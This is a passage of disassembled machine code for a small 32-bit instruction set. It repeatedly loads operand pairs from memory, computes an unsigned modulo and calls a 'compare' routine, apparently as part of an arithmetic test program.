209c: 0d 60 02 03 wh16 r16,0x3
20a0: 10 40 02 10 ld32 r16,r16
20a4: 0d 44 8d 30 wl16 r9,0x2470
20a8: 0d 60 01 23 wh16 r9,0x3
20ac: 10 40 01 29 ld32 r9,r9
20b0: 00 a0 01 10 umod r8,r16
20b4: 20 70 03 e2 movepc rret,8
20b8: 14 30 f7 d6 br 10 <compare>,#al
20bc: 00 10 00 41 add r2,1
20c0: 0d 40 4d 1c wl16 r8,0x27c
20c4: 0d 60 01 03 wh16 r8,0x3
20c8: 10 40 01 08 ld32 r8,r8
20cc: 0d 42 6e 18 wl16 r16,0x1378
20d0: 0d 60 02 03 wh16 r16,0x3
20d4: 10 40 02 10 ld32 r16,r16
20d8: 0d 44 8d 34 wl16 r9,0x2474
20dc: 0d 60 01 23 wh16 r9,0x3
20e0: 10 40 01 29 ld32 r9,r9
20e4: 00 a0 01 10 umod r8,r16
20e8: 20 70 03 e2 movepc rret,8
20ec: 14 30 f7 c9 br 10 <compare>,#al
20f0: 00 10 00 41 add r2,1
20f4: 0d 40 51 00 wl16 r8,0x280
20f8: 0d 60 01 03 wh16 r8,0x3
20fc: 10 40 01 08 ld32 r8,r8
2100: 0d 42 6e 1c wl16 r16,0x137c
2104: 0d 60 02 03 wh16 r16,0x3
2108: 10 40 02 10 ld32 r16,r16
210c: 0d 44 8d 38 wl16 r9,0x2478
2110: 0d 60 01 23 wh16 r9,0x3
2114: 10 40 01 29 ld32 r9,r9
2118: 00 a0 01 10 umod r8,r16
211c: 20 70 03 e2 movepc rret,8
2120: 14 30 f7 bc br 10 <compare>,#al
2124: 00 10 00 41 add r2,1
2128: 0d 40 51 04 wl16 r8,0x284
212c: 0d 60 01 03 wh16 r8,0x3
2130: 10 40 01 08 ld32 r8,r8
2134: 0d 42 72 00 wl16 r16,0x1380
2138: 0d 60 02 03 wh16 r16,0x3
213c: 10 40 02 10 ld32 r16,r16
2140: 0d 44 8d 3c wl16 r9,0x247c
2144: 0d 60 01 23 wh16 r9,0x3
2148: 10 40 01 29 ld32 r9,r9
214c: 00 a0 01 10 umod r8,r16
2150: 20 70 03 e2 movepc rret,8
2154: 14 30 f7 af br 10 <compare>,#al
2158: 00 10 00 41 add r2,1
215c: 0d 40 51 08 wl16 r8,0x288
2160: 0d 60 01 03 wh16 r8,0x3
2164: 10 40 01 08 ld32 r8,r8
2168: 0d 42 72 04 wl16 r16,0x1384
216c: 0d 60 02 03 wh16 r16,0x3
2170: 10 40 02 10 ld32 r16,r16
2174: 0d 44 91 20 wl16 r9,0x2480
2178: 0d 60 01 23 wh16 r9,0x3
217c: 10 40 01 29 ld32 r9,r9
2180: 00 a0 01 10 umod r8,r16
2184: 20 70 03 e2 movepc rret,8
2188: 14 30 f7 a2 br 10 <compare>,#al
218c: 00 10 00 41 add r2,1
2190: 0d 40 51 0c wl16 r8,0x28c
2194: 0d 60 01 03 wh16 r8,0x3
2198: 10 40 01 08 ld32 r8,r8
219c: 0d 42 72 08 wl16 r16,0x1388
21a0: 0d 60 02 03 wh16 r16,0x3
21a4: 10 40 02 10 ld32 r16,r16
21a8: 0d 44 91 24 wl16 r9,0x2484
21ac: 0d 60 01 23 wh16 r9,0x3
21b0: 10 40 01 29 ld32 r9,r9
21b4: 00 a0 01 10 umod r8,r16
21b8: 20 70 03 e2 movepc rret,8
21bc: 14 30 f7 95 br 10 <compare>,#al
21c0: 00 10 00 41 add r2,1
21c4: 0d 40 51 10 wl16 r8,0x290
21c8: 0d 60 01 03 wh16 r8,0x3
21cc: 10 40 01 08 ld32 r8,r8
21d0: 0d 42 72 0c wl16 r16,0x138c
21d4: 0d 60 02 03 wh16 r16,0x3
21d8: 10 40 02 10 ld32 r16,r16
21dc: 0d 44 91 28 wl16 r9,0x2488
21e0: 0d 60 01 23 wh16 r9,0x3
21e4: 10 40 01 29 ld32 r9,r9
21e8: 00 a0 01 10 umod r8,r16
21ec: 20 70 03 e2 movepc rret,8
21f0: 14 30 f7 88 br 10 <compare>,#al
21f4: 00 10 00 41 add r2,1
21f8: 0d 40 51 14 wl16 r8,0x294
21fc: 0d 60 01 03 wh16 r8,0x3
2200: 10 40 01 08 ld32 r8,r8
2204: 0d 42 72 10 wl16 r16,0x1390
2208: 0d 60 02 03 wh16 r16,0x3
220c: 10 40 02 10 ld32 r16,r16
2210: 0d 44 91 2c wl16 r9,0x248c
2214: 0d 60 01 23 wh16 r9,0x3
2218: 10 40 01 29 ld32 r9,r9
221c: 00 a0 01 10 umod r8,r16
2220: 20 70 03 e2 movepc rret,8
2224: 14 30 f7 7b br 10 <compare>,#al
2228: 00 10 00 41 add r2,1
222c: 0d 40 51 18 wl16 r8,0x298
2230: 0d 60 01 03 wh16 r8,0x3
2234: 10 40 01 08 ld32 r8,r8
2238: 0d 42 72 14 wl16 r16,0x1394
223c: 0d 60 02 03 wh16 r16,0x3
2240: 10 40 02 10 ld32 r16,r16
2244: 0d 44 91 30 wl16 r9,0x2490
2248: 0d 60 01 23 wh16 r9,0x3
224c: 10 40 01 29 ld32 r9,r9
2250: 00 a0 01 10 umod r8,r16
2254: 20 70 03 e2 movepc rret,8
2258: 14 30 f7 6e br 10 <compare>,#al
225c: 00 10 00 41 add r2,1
2260: 0d 40 51 1c wl16 r8,0x29c
2264: 0d 60 01 03 wh16 r8,0x3
2268: 10 40 01 08 ld32 r8,r8
226c: 0d 42 72 18 wl16 r16,0x1398
2270: 0d 60 02 03 wh16 r16,0x3
2274: 10 40 02 10 ld32 r16,r16
2278: 0d 44 91 34 wl16 r9,0x2494
227c: 0d 60 01 23 wh16 r9,0x3
2280: 10 40 01 29 ld32 r9,r9
2284: 00 a0 01 10 umod r8,r16
2288: 20 70 03 e2 movepc rret,8
228c: 14 30 f7 61 br 10 <compare>,#al
2290: 00 10 00 41 add r2,1
2294: 0d 40 55 00 wl16 r8,0x2a0
2298: 0d 60 01 03 wh16 r8,0x3
229c: 10 40 01 08 ld32 r8,r8
22a0: 0d 42 72 1c wl16 r16,0x139c
22a4: 0d 60 02 03 wh16 r16,0x3
22a8: 10 40 02 10 ld32 r16,r16
22ac: 0d 44 91 38 wl16 r9,0x2498
22b0: 0d 60 01 23 wh16 r9,0x3
22b4: 10 40 01 29 ld32 r9,r9
22b8: 00 a0 01 10 umod r8,r16
22bc: 20 70 03 e2 movepc rret,8
22c0: 14 30 f7 54 br 10 <compare>,#al
22c4: 00 10 00 41 add r2,1
22c8: 0d 40 55 04 wl16 r8,0x2a4
22cc: 0d 60 01 03 wh16 r8,0x3
22d0: 10 40 01 08 ld32 r8,r8
22d4: 0d 42 76 00 wl16 r16,0x13a0
22d8: 0d 60 02 03 wh16 r16,0x3
22dc: 10 40 02 10 ld32 r16,r16
22e0: 0d 44 91 3c wl16 r9,0x249c
22e4: 0d 60 01 23 wh16 r9,0x3
22e8: 10 40 01 29 ld32 r9,r9
22ec: 00 a0 01 10 umod r8,r16
22f0: 20 70 03 e2 movepc rret,8
22f4: 14 30 f7 47 br 10 <compare>,#al
22f8: 00 10 00 41 add r2,1
22fc: 0d 40 55 08 wl16 r8,0x2a8
2300: 0d 60 01 03 wh16 r8,0x3
2304: 10 40 01 08 ld32 r8,r8
2308: 0d 42 76 04 wl16 r16,0x13a4
230c: 0d 60 02 03 wh16 r16,0x3
2310: 10 40 02 10 ld32 r16,r16
2314: 0d 44 95 20 wl16 r9,0x24a0
2318: 0d 60 01 23 wh16 r9,0x3
231c: 10 40 01 29 ld32 r9,r9
2320: 00 a0 01 10 umod r8,r16
2324: 20 70 03 e2 movepc rret,8
2328: 14 30 f7 3a br 10 <compare>,#al
232c: 00 10 00 41 add r2,1
2330: 0d 40 55 0c wl16 r8,0x2ac
2334: 0d 60 01 03 wh16 r8,0x3
2338: 10 40 01 08 ld32 r8,r8
233c: 0d 42 76 08 wl16 r16,0x13a8
2340: 0d 60 02 03 wh16 r16,0x3
2344: 10 40 02 10 ld32 r16,r16
2348: 0d 44 95 24 wl16 r9,0x24a4
234c: 0d 60 01 23 wh16 r9,0x3
2350: 10 40 01 29 ld32 r9,r9
2354: 00 a0 01 10 umod r8,r16
2358: 20 70 03 e2 movepc rret,8
235c: 14 30 f7 2d br 10 <compare>,#al
2360: 00 10 00 41 add r2,1
2364: 0d 40 55 10 wl16 r8,0x2b0
2368: 0d 60 01 03 wh16 r8,0x3
236c: 10 40 01 08 ld32 r8,r8
2370: 0d 42 76 0c wl16 r16,0x13ac
2374: 0d 60 02 03 wh16 r16,0x3
2378: 10 40 02 10 ld32 r16,r16
237c: 0d 44 95 28 wl16 r9,0x24a8
2380: 0d 60 01 23 wh16 r9,0x3
2384: 10 40 01 29 ld32 r9,r9
2388: 00 a0 01 10 umod r8,r16
238c: 20 70 03 e2 movepc rret,8
2390: 14 30 f7 20 br 10 <compare>,#al
2394: 00 10 00 41 add r2,1
2398: 0d 40 55 14 wl16 r8,0x2b4
239c: 0d 60 01 03 wh16 r8,0x3
23a0: 10 40 01 08 ld32 r8,r8
23a4: 0d 42 76 10 wl16 r16,0x13b0
23a8: 0d 60 02 03 wh16 r16,0x3
23ac: 10 40 02 10 ld32 r16,r16
23b0: 0d 44 95 2c wl16 r9,0x24ac
23b4: 0d 60 01 23 wh16 r9,0x3
23b8: 10 40 01 29 ld32 r9,r9
23bc: 00 a0 01 10 umod r8,r16
23c0: 20 70 03 e2 movepc rret,8
23c4: 14 30 f7 13 br 10 <compare>,#al
23c8: 00 10 00 41 add r2,1
23cc: 0d 40 55 18 wl16 r8,0x2b8
23d0: 0d 60 01 03 wh16 r8,0x3
23d4: 10 40 01 08 ld32 r8,r8
23d8: 0d 42 76 14 wl16 r16,0x13b4
23dc: 0d 60 02 03 wh16 r16,0x3
23e0: 10 40 02 10 ld32 r16,r16
23e4: 0d 44 95 30 wl16 r9,0x24b0
23e8: 0d 60 01 23 wh16 r9,0x3
23ec: 10 40 01 29 ld32 r9,r9
23f0: 00 a0 01 10 umod r8,r16
23f4: 20 70 03 e2 movepc rret,8
23f8: 14 30 f7 06 br 10 <compare>,#al
23fc: 00 10 00 41 add r2,1
2400: 0d 40 55 1c wl16 r8,0x2bc
2404: 0d 60 01 03 wh16 r8,0x3
2408: 10 40 01 08 ld32 r8,r8
240c: 0d 42 76 18 wl16 r16,0x13b8
2410: 0d 60 02 03 wh16 r16,0x3
2414: 10 40 02 10 ld32 r16,r16
2418: 0d 44 95 34 wl16 r9,0x24b4
241c: 0d 60 01 23 wh16 r9,0x3
2420: 10 40 01 29 ld32 r9,r9
2424: 00 a0 01 10 umod r8,r16
2428: 20 70 03 e2 movepc rret,8
242c: 14 30 f6 f9 br 10 <compare>,#al
2430: 00 10 00 41 add r2,1
2434: 0d 40 59 00 wl16 r8,0x2c0
2438: 0d 60 01 03 wh16 r8,0x3
243c: 10 40 01 08 ld32 r8,r8
2440: 0d 42 76 1c wl16 r16,0x13bc
2444: 0d 60 02 03 wh16 r16,0x3
2448: 10 40 02 10 ld32 r16,r16
244c: 0d 44 95 38 wl16 r9,0x24b8
2450: 0d 60 01 23 wh16 r9,0x3
2454: 10 40 01 29 ld32 r9,r9
2458: 00 a0 01 10 umod r8,r16
245c: 20 70 03 e2 movepc rret,8
2460: 14 30 f6 ec br 10 <compare>,#al
2464: 00 10 00 41 add r2,1
2468: 0d 40 59 04 wl16 r8,0x2c4
246c: 0d 60 01 03 wh16 r8,0x3
2470: 10 40 01 08 ld32 r8,r8
2474: 0d 42 7a 00 wl16 r16,0x13c0
2478: 0d 60 02 03 wh16 r16,0x3
247c: 10 40 02 10 ld32 r16,r16
2480: 0d 44 95 3c wl16 r9,0x24bc
2484: 0d 60 01 23 wh16 r9,0x3
2488: 10 40 01 29 ld32 r9,r9
248c: 00 a0 01 10 umod r8,r16
2490: 20 70 03 e2 movepc rret,8
2494: 14 30 f6 df br 10 <compare>,#al
2498: 00 10 00 41 add r2,1
249c: 0d 40 59 08 wl16 r8,0x2c8
24a0: 0d 60 01 03 wh16 r8,0x3
24a4: 10 40 01 08 ld32 r8,r8
24a8: 0d 42 7a 04 wl16 r16,0x13c4
24ac: 0d 60 02 03 wh16 r16,0x3
24b0: 10 40 02 10 ld32 r16,r16
24b4: 0d 44 99 20 wl16 r9,0x24c0
24b8: 0d 60 01 23 wh16 r9,0x3
24bc: 10 40 01 29 ld32 r9,r9
24c0: 00 a0 01 10 umod r8,r16
24c4: 20 70 03 e2 movepc rret,8
24c8: 14 30 f6 d2 br 10 <compare>,#al
24cc: 00 10 00 41 add r2,1
24d0: 0d 40 59 0c wl16 r8,0x2cc
24d4: 0d 60 01 03 wh16 r8,0x3
24d8: 10 40 01 08 ld32 r8,r8
24dc: 0d 42 7a 08 wl16 r16,0x13c8
24e0: 0d 60 02 03 wh16 r16,0x3
24e4: 10 40 02 10 ld32 r16,r16
24e8: 0d 44 99 24 wl16 r9,0x24c4
24ec: 0d 60 01 23 wh16 r9,0x3
24f0: 10 40 01 29 ld32 r9,r9
24f4: 00 a0 01 10 umod r8,r16
24f8: 20 70 03 e2 movepc rret,8
24fc: 14 30 f6 c5 br 10 <compare>,#al
2500: 00 10 00 41 add r2,1
2504: 0d 40 59 10 wl16 r8,0x2d0
2508: 0d 60 01 03 wh16 r8,0x3
250c: 10 40 01 08 ld32 r8,r8
2510: 0d 42 7a 0c wl16 r16,0x13cc
2514: 0d 60 02 03 wh16 r16,0x3
2518: 10 40 02 10 ld32 r16,r16
251c: 0d 44 99 28 wl16 r9,0x24c8
2520: 0d 60 01 23 wh16 r9,0x3
2524: 10 40 01 29 ld32 r9,r9
2528: 00 a0 01 10 umod r8,r16
252c: 20 70 03 e2 movepc rret,8
2530: 14 30 f6 b8 br 10 <compare>,#al
2534: 00 10 00 41 add r2,1
2538: 0d 40 59 14 wl16 r8,0x2d4
253c: 0d 60 01 03 wh16 r8,0x3
2540: 10 40 01 08 ld32 r8,r8
2544: 0d 42 7a 10 wl16 r16,0x13d0
2548: 0d 60 02 03 wh16 r16,0x3
254c: 10 40 02 10 ld32 r16,r16
2550: 0d 44 99 2c wl16 r9,0x24cc
2554: 0d 60 01 23 wh16 r9,0x3
2558: 10 40 01 29 ld32 r9,r9
255c: 00 a0 01 10 umod r8,r16
2560: 20 70 03 e2 movepc rret,8
2564: 14 30 f6 ab br 10 <compare>,#al
2568: 00 10 00 41 add r2,1
256c: 0d 40 59 18 wl16 r8,0x2d8
2570: 0d 60 01 03 wh16 r8,0x3
2574: 10 40 01 08 ld32 r8,r8
2578: 0d 42 7a 14 wl16 r16,0x13d4
257c: 0d 60 02 03 wh16 r16,0x3
2580: 10 40 02 10 ld32 r16,r16
2584: 0d 44 99 30 wl16 r9,0x24d0
2588: 0d 60 01 23 wh16 r9,0x3
258c: 10 40 01 29 ld32 r9,r9
2590: 00 a0 01 10 umod r8,r16
2594: 20 70 03 e2 movepc rret,8
2598: 14 30 f6 9e br 10 <compare>,#al
259c: 00 10 00 41 add r2,1
25a0: 0d 40 59 1c wl16 r8,0x2dc
25a4: 0d 60 01 03 wh16 r8,0x3
25a8: 10 40 01 08 ld32 r8,r8
25ac: 0d 42 7a 18 wl16 r16,0x13d8
25b0: 0d 60 02 03 wh16 r16,0x3
25b4: 10 40 02 10 ld32 r16,r16
25b8: 0d 44 99 34 wl16 r9,0x24d4
25bc: 0d 60 01 23 wh16 r9,0x3
25c0: 10 40 01 29 ld32 r9,r9
25c4: 00 a0 01 10 umod r8,r16
25c8: 20 70 03 e2 movepc rret,8
25cc: 14 30 f6 91 br 10 <compare>,#al
25d0: 00 10 00 41 add r2,1
25d4: 0d 40 5d 00 wl16 r8,0x2e0
25d8: 0d 60 01 03 wh16 r8,0x3
25dc: 10 40 01 08 ld32 r8,r8
25e0: 0d 42 7a 1c wl16 r16,0x13dc
25e4: 0d 60 02 03 wh16 r16,0x3
25e8: 10 40 02 10 ld32 r16,r16
25ec: 0d 44 99 38 wl16 r9,0x24d8
25f0: 0d 60 01 23 wh16 r9,0x3
25f4: 10 40 01 29 ld32 r9,r9
25f8: 00 a0 01 10 umod r8,r16
25fc: 20 70 03 e2 movepc rret,8
2600: 14 30 f6 84 br 10 <compare>,#al
2604: 00 10 00 41 add r2,1
2608: 0d 40 5d 04 wl16 r8,0x2e4
260c: 0d 60 01 03 wh16 r8,0x3
2610: 10 40 01 08 ld32 r8,r8
2614: 0d 42 7e 00 wl16 r16,0x13e0
2618: 0d 60 02 03 wh16 r16,0x3
261c: 10 40 02 10 ld32 r16,r16
2620: 0d 44 99 3c wl16 r9,0x24dc
2624: 0d 60 01 23 wh16 r9,0x3
2628: 10 40 01 29 ld32 r9,r9
262c: 00 a0 01 10 umod r8,r16
2630: 20 70 03 e2 movepc rret,8
2634: 14 30 f6 77 br 10 <compare>,#al
2638: 00 10 00 41 add r2,1
263c: 0d 40 5d 08 wl16 r8,0x2e8
2640: 0d 60 01 03 wh16 r8,0x3
2644: 10 40 01 08 ld32 r8,r8
2648: 0d 42 7e 04 wl16 r16,0x13e4
264c: 0d 60 02 03 wh16 r16,0x3
2650: 10 40 02 10 ld32 r16,r16
2654: 0d 44 9d 20 wl16 r9,0x24e0
2658: 0d 60 01 23 wh16 r9,0x3
265c: 10 40 01 29 ld32 r9,r9
2660: 00 a0 01 10 umod r8,r16
2664: 20 70 03 e2 movepc rret,8
2668: 14 30 f6 6a br 10 <compare>,#al
266c: 00 10 00 41 add r2,1
2670: 0d 40 5d 0c wl16 r8,0x2ec
2674: 0d 60 01 03 wh16 r8,0x3
2678: 10 40 01 08 ld32 r8,r8
267c: 0d 42 7e 08 wl16 r16,0x13e8
2680: 0d 60 02 03 wh16 r16,0x3
2684: 10 40 02 10 ld32 r16,r16
2688: 0d 44 9d 24 wl16 r9,0x24e4
268c: 0d 60 01 23 wh16 r9,0x3
2690: 10 40 01 29 ld32 r9,r9
2694: 00 a0 01 10 umod r8,r16
2698: 20 70 03 e2 movepc rret,8
269c: 14 30 f6 5d br 10 <compare>,#al
26a0: 00 10 00 41 add r2,1
26a4: 0d 40 5d 10 wl16 r8,0x2f0
26a8: 0d 60 01 03 wh16 r8,0x3
26ac: 10 40 01 08 ld32 r8,r8
26b0: 0d 42 7e 0c wl16 r16,0x13ec
26b4: 0d 60 02 03 wh16 r16,0x3
26b8: 10 40 02 10 ld32 r16,r16
26bc: 0d 44 9d 28 wl16 r9,0x24e8
26c0: 0d 60 01 23 wh16 r9,0x3
26c4: 10 40 01 29 ld32 r9,r9
26c8: 00 a0 01 10 umod r8,r16
26cc: 20 70 03 e2 movepc rret,8
26d0: 14 30 f6 50 br 10 <compare>,#al
26d4: 00 10 00 41 add r2,1
26d8: 0d 40 5d 14 wl16 r8,0x2f4
26dc: 0d 60 01 03 wh16 r8,0x3
26e0: 10 40 01 08 ld32 r8,r8
26e4: 0d 42 7e 10 wl16 r16,0x13f0
26e8: 0d 60 02 03 wh16 r16,0x3
26ec: 10 40 02 10 ld32 r16,r16
26f0: 0d 44 9d 2c wl16 r9,0x24ec
26f4: 0d 60 01 23 wh16 r9,0x3
26f8: 10 40 01 29 ld32 r9,r9
26fc: 00 a0 01 10 umod r8,r16
2700: 20 70 03 e2 movepc rret,8
2704: 14 30 f6 43 br 10 <compare>,#al
2708: 00 10 00 41 add r2,1
270c: 0d 40 5d 18 wl16 r8,0x2f8
2710: 0d 60 01 03 wh16 r8,0x3
2714: 10 40 01 08 ld32 r8,r8
2718: 0d 42 7e 14 wl16 r16,0x13f4
271c: 0d 60 02 03 wh16 r16,0x3
2720: 10 40 02 10 ld32 r16,r16
2724: 0d 44 9d 30 wl16 r9,0x24f0
2728: 0d 60 01 23 wh16 r9,0x3
272c: 10 40 01 29 ld32 r9,r9
2730: 00 a0 01 10 umod r8,r16
2734: 20 70 03 e2 movepc rret,8
2738: 14 30 f6 36 br 10 <compare>,#al
273c: 00 10 00 41 add r2,1
2740: 0d 40 5d 1c wl16 r8,0x2fc
2744: 0d 60 01 03 wh16 r8,0x3
2748: 10 40 01 08 ld32 r8,r8
274c: 0d 42 7e 18 wl16 r16,0x13f8
2750: 0d 60 02 03 wh16 r16,0x3
2754: 10 40 02 10 ld32 r16,r16
2758: 0d 44 9d 34 wl16 r9,0x24f4
275c: 0d 60 01 23 wh16 r9,0x3
2760: 10 40 01 29 ld32 r9,r9
2764: 00 a0 01 10 umod r8,r16
2768: 20 70 03 e2 movepc rret,8
276c: 14 30 f6 29 br 10 <compare>,#al
2770: 00 10 00 41 add r2,1
2774: 0d 40 61 00 wl16 r8,0x300
2778: 0d 60 01 03 wh16 r8,0x3
277c: 10 40 01 08 ld32 r8,r8
2780: 0d 42 7e 1c wl16 r16,0x13fc
2784: 0d 60 02 03 wh16 r16,0x3
2788: 10 40 02 10 ld32 r16,r16
278c: 0d 44 9d 38 wl16 r9,0x24f8
2790: 0d 60 01 23 wh16 r9,0x3
2794: 10 40 01 29 ld32 r9,r9
2798: 00 a0 01 10 umod r8,r16
279c: 20 70 03 e2 movepc rret,8
27a0: 14 30 f6 1c br 10 <compare>,#al
27a4: 00 10 00 41 add r2,1
27a8: 0d 40 61 04 wl16 r8,0x304
27ac: 0d 60 01 03 wh16 r8,0x3
27b0: 10 40 01 08 ld32 r8,r8
27b4: 0d 42 82 00 wl16 r16,0x1400
27b8: 0d 60 02 03 wh16 r16,0x3
27bc: 10 40 02 10 ld32 r16,r16
27c0: 0d 44 9d 3c wl16 r9,0x24fc
27c4: 0d 60 01 23 wh16 r9,0x3
27c8: 10 40 01 29 ld32 r9,r9
27cc: 00 a0 01 10 umod r8,r16
27d0: 20 70 03 e2 movepc rret,8
27d4: 14 30 f6 0f br 10 <compare>,#al
27d8: 00 10 00 41 add r2,1
27dc: 0d 40 61 08 wl16 r8,0x308
27e0: 0d 60 01 03 wh16 r8,0x3
27e4: 10 40 01 08 ld32 r8,r8
27e8: 0d 42 82 04 wl16 r16,0x1404
27ec: 0d 60 02 03 wh16 r16,0x3
27f0: 10 40 02 10 ld32 r16,r16
27f4: 0d 44 a1 20 wl16 r9,0x2500
27f8: 0d 60 01 23 wh16 r9,0x3
27fc: 10 40 01 29 ld32 r9,r9
2800: 00 a0 01 10 umod r8,r16
2804: 20 70 03 e2 movepc rret,8
2808: 14 30 f6 02 br 10 <compare>,#al
280c: 00 10 00 41 add r2,1
2810: 0d 40 61 0c wl16 r8,0x30c
2814: 0d 60 01 03 wh16 r8,0x3
2818: 10 40 01 08 ld32 r8,r8
281c: 0d 42 82 08 wl16 r16,0x1408
2820: 0d 60 02 03 wh16 r16,0x3
2824: 10 40 02 10 ld32 r16,r16
2828: 0d 44 a1 24 wl16 r9,0x2504
282c: 0d 60 01 23 wh16 r9,0x3
2830: 10 40 01 29 ld32 r9,r9
2834: 00 a0 01 10 umod r8,r16
2838: 20 70 03 e2 movepc rret,8
283c: 14 30 f5 f5 br 10 <compare>,#al
2840: 00 10 00 41 add r2,1
2844: 0d 40 61 10 wl16 r8,0x310
2848: 0d 60 01 03 wh16 r8,0x3
284c: 10 40 01 08 ld32 r8,r8
2850: 0d 42 82 0c wl16 r16,0x140c
2854: 0d 60 02 03 wh16 r16,0x3
2858: 10 40 02 10 ld32 r16,r16
285c: 0d 44 a1 28 wl16 r9,0x2508
2860: 0d 60 01 23 wh16 r9,0x3
2864: 10 40 01 29 ld32 r9,r9
2868: 00 a0 01 10 umod r8,r16
286c: 20 70 03 e2 movepc rret,8
2870: 14 30 f5 e8 br 10 <compare>,#al
2874: 00 10 00 41 add r2,1
2878: 0d 40 61 14 wl16 r8,0x314
287c: 0d 60 01 03 wh16 r8,0x3
2880: 10 40 01 08 ld32 r8,r8
2884: 0d 42 82 10 wl16 r16,0x1410
2888: 0d 60 02 03 wh16 r16,0x3
288c: 10 40 02 10 ld32 r16,r16
2890: 0d 44 a1 2c wl16 r9,0x250c
2894: 0d 60 01 23 wh16 r9,0x3
2898: 10 40 01 29 ld32 r9,r9
289c: 00 a0 01 10 umod r8,r16
28a0: 20 70 03 e2 movepc rret,8
28a4: 14 30 f5 db br 10 <compare>,#al
28a8: 00 10 00 41 add r2,1
28ac: 0d 40 61 18 wl16 r8,0x318
28b0: 0d 60 01 03 wh16 r8,0x3
28b4: 10 40 01 08 ld32 r8,r8
28b8: 0d 42 82 14 wl16 r16,0x1414
28bc: 0d 60 02 03 wh16 r16,0x3
28c0: 10 40 02 10 ld32 r16,r16
28c4: 0d 44 a1 30 wl16 r9,0x2510
28c8: 0d 60 01 23 wh16 r9,0x3
28cc: 10 40 01 29 ld32 r9,r9
28d0: 00 a0 01 10 umod r8,r16
28d4: 20 70 03 e2 movepc rret,8
28d8: 14 30 f5 ce br 10 <compare>,#al
28dc: 00 10 00 41 add r2,1
28e0: 0d 40 61 1c wl16 r8,0x31c
28e4: 0d 60 01 03 wh16 r8,0x3
28e8: 10 40 01 08 ld32 r8,r8
28ec: 0d 42 82 18 wl16 r16,0x1418
28f0: 0d 60 02 03 wh16 r16,0x3
28f4: 10 40 02 10 ld32 r16,r16
28f8: 0d 44 a1 34 wl16 r9,0x2514
28fc: 0d 60 01 23 wh16 r9,0x3
2900: 10 40 01 29 ld32 r9,r9
2904: 00 a0 01 10 umod r8,r16
2908: 20 70 03 e2 movepc rret,8
290c: 14 30 f5 c1 br 10 <compare>,#al
2910: 00 10 00 41 add r2,1
2914: 0d 40 65 00 wl16 r8,0x320
2918: 0d 60 01 03 wh16 r8,0x3
291c: 10 40 01 08 ld32 r8,r8
2920: 0d 42 82 1c wl16 r16,0x141c
2924: 0d 60 02 03 wh16 r16,0x3
2928: 10 40 02 10 ld32 r16,r16
292c: 0d 44 a1 38 wl16 r9,0x2518
2930: 0d 60 01 23 wh16 r9,0x3
2934: 10 40 01 29 ld32 r9,r9
2938: 00 a0 01 10 umod r8,r16
293c: 20 70 03 e2 movepc rret,8
2940: 14 30 f5 b4 br 10 <compare>,#al
2944: 00 10 00 41 add r2,1
2948: 0d 40 65 04 wl16 r8,0x324
294c: 0d 60 01 03 wh16 r8,0x3
2950: 10 40 01 08 ld32 r8,r8
2954: 0d 42 86 00 wl16 r16,0x1420
2958: 0d 60 02 03 wh16 r16,0x3
295c: 10 40 02 10 ld32 r16,r16
2960: 0d 44 a1 3c wl16 r9,0x251c
2964: 0d 60 01 23 wh16 r9,0x3
2968: 10 40 01 29 ld32 r9,r9
296c: 00 a0 01 10 umod r8,r16
2970: 20 70 03 e2 movepc rret,8
2974: 14 30 f5 a7 br 10 <compare>,#al
2978: 00 10 00 41 add r2,1
297c: 0d 40 65 08 wl16 r8,0x328
2980: 0d 60 01 03 wh16 r8,0x3
2984: 10 40 01 08 ld32 r8,r8
2988: 0d 42 86 04 wl16 r16,0x1424
298c: 0d 60 02 03 wh16 r16,0x3
2990: 10 40 02 10 ld32 r16,r16
2994: 0d 44 a5 20 wl16 r9,0x2520
2998: 0d 60 01 23 wh16 r9,0x3
299c: 10 40 01 29 ld32 r9,r9
29a0: 00 a0 01 10 umod r8,r16
29a4: 20 70 03 e2 movepc rret,8
29a8: 14 30 f5 9a br 10 <compare>,#al
29ac: 00 10 00 41 add r2,1
29b0: 0d 40 65 0c wl16 r8,0x32c
29b4: 0d 60 01 03 wh16 r8,0x3
29b8: 10 40 01 08 ld32 r8,r8
29bc: 0d 42 86 08 wl16 r16,0x1428
29c0: 0d 60 02 03 wh16 r16,0x3
29c4: 10 40 02 10 ld32 r16,r16
29c8: 0d 44 a5 24 wl16 r9,0x2524
29cc: 0d 60 01 23 wh16 r9,0x3
29d0: 10 40 01 29 ld32 r9,r9
29d4: 00 a0 01 10 umod r8,r16
29d8: 20 70 03 e2 movepc rret,8
29dc: 14 30 f5 8d br 10 <compare>,#al
29e0: 00 10 00 41 add r2,1
29e4: 0d 40 65 10 wl16 r8,0x330
29e8: 0d 60 01 03 wh16 r8,0x3
29ec: 10 40 01 08 ld32 r8,r8
29f0: 0d 42 86 0c wl16 r16,0x142c
29f4: 0d 60 02 03 wh16 r16,0x3
29f8: 10 40 02 10 ld32 r16,r16
29fc: 0d 44 a5 28 wl16 r9,0x2528
2a00: 0d 60 01 23 wh16 r9,0x3
2a04: 10 40 01 29 ld32 r9,r9
2a08: 00 a0 01 10 umod r8,r16
2a0c: 20 70 03 e2 movepc rret,8
2a10: 14 30 f5 80 br 10 <compare>,#al
2a14: 00 10 00 41 add r2,1
2a18: 0d 40 65 14 wl16 r8,0x334
2a1c: 0d 60 01 03 wh16 r8,0x3
2a20: 10 40 01 08 ld32 r8,r8
2a24: 0d 42 86 10 wl16 r16,0x1430
2a28: 0d 60 02 03 wh16 r16,0x3
2a2c: 10 40 02 10 ld32 r16,r16
2a30: 0d 44 a5 2c wl16 r9,0x252c
2a34: 0d 60 01 23 wh16 r9,0x3
2a38: 10 40 01 29 ld32 r9,r9
2a3c: 00 a0 01 10 umod r8,r16
2a40: 20 70 03 e2 movepc rret,8
2a44: 14 30 f5 73 br 10 <compare>,#al
2a48: 00 10 00 41 add r2,1
2a4c: 0d 40 65 18 wl16 r8,0x338
2a50: 0d 60 01 03 wh16 r8,0x3
2a54: 10 40 01 08 ld32 r8,r8
2a58: 0d 42 86 14 wl16 r16,0x1434
2a5c: 0d 60 02 03 wh16 r16,0x3
2a60: 10 40 02 10 ld32 r16,r16
2a64: 0d 44 a5 30 wl16 r9,0x2530
2a68: 0d 60 01 23 wh16 r9,0x3
2a6c: 10 40 01 29 ld32 r9,r9
2a70: 00 a0 01 10 umod r8,r16
2a74: 20 70 03 e2 movepc rret,8
2a78: 14 30 f5 66 br 10 <compare>,#al
2a7c: 00 10 00 41 add r2,1
2a80: 0d 40 65 1c wl16 r8,0x33c
2a84: 0d 60 01 03 wh16 r8,0x3
2a88: 10 40 01 08 ld32 r8,r8
